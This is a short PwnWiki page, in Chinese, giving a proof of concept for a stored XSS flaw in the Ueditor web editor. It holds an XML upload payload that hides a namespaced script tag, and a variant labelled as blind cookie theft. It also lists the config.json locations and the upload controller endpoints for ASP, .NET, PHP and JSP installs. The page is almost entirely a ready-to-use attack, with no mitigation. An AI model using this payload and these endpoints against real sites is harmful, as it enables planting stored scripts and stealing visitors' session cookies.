Ueditor 存儲型XSS漏洞

From PwnWiki
Revision as of 13:43, 20 April 2021 by Pwnwiki (talk | contribs) (Created page with "==POC== <pre> <html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script> </body> </html> 盲打Cookie、src=""...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

POC

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>


盲打Cookie、src=""：
<something:script src="" xmlns:something="http://www.w3.org/1999/xhtml"></something:script>

Ueditor 默認支持上傳 xml ：config.json可以查看支持上傳的後綴 

/ueditor/asp/config.json 
/ueditor/net/config.json 
/ueditor/php/config.json 
/ueditor/jsp/config.json


上傳文件路徑 

/ueditor/index.html

/ueditor/asp/controller.asp?action=uploadimage /ueditor/asp/controller.asp?action=uploadfile

/ueditor/net/controller.ashx?action=uploadimage /ueditor/net/controller.ashx?action=uploadfile

/ueditor/php/controller.php?action=uploadfile /ueditor/php/controller.php?action=uploadimage

/ueditor/jsp/controller.jsp?action=uploadfile /ueditor/jsp/controller.jsp?action=uploadimag
Retrieved from "https://pwnwiki.com/index.php?title=Ueditor_存儲型XSS漏洞&oldid=1759"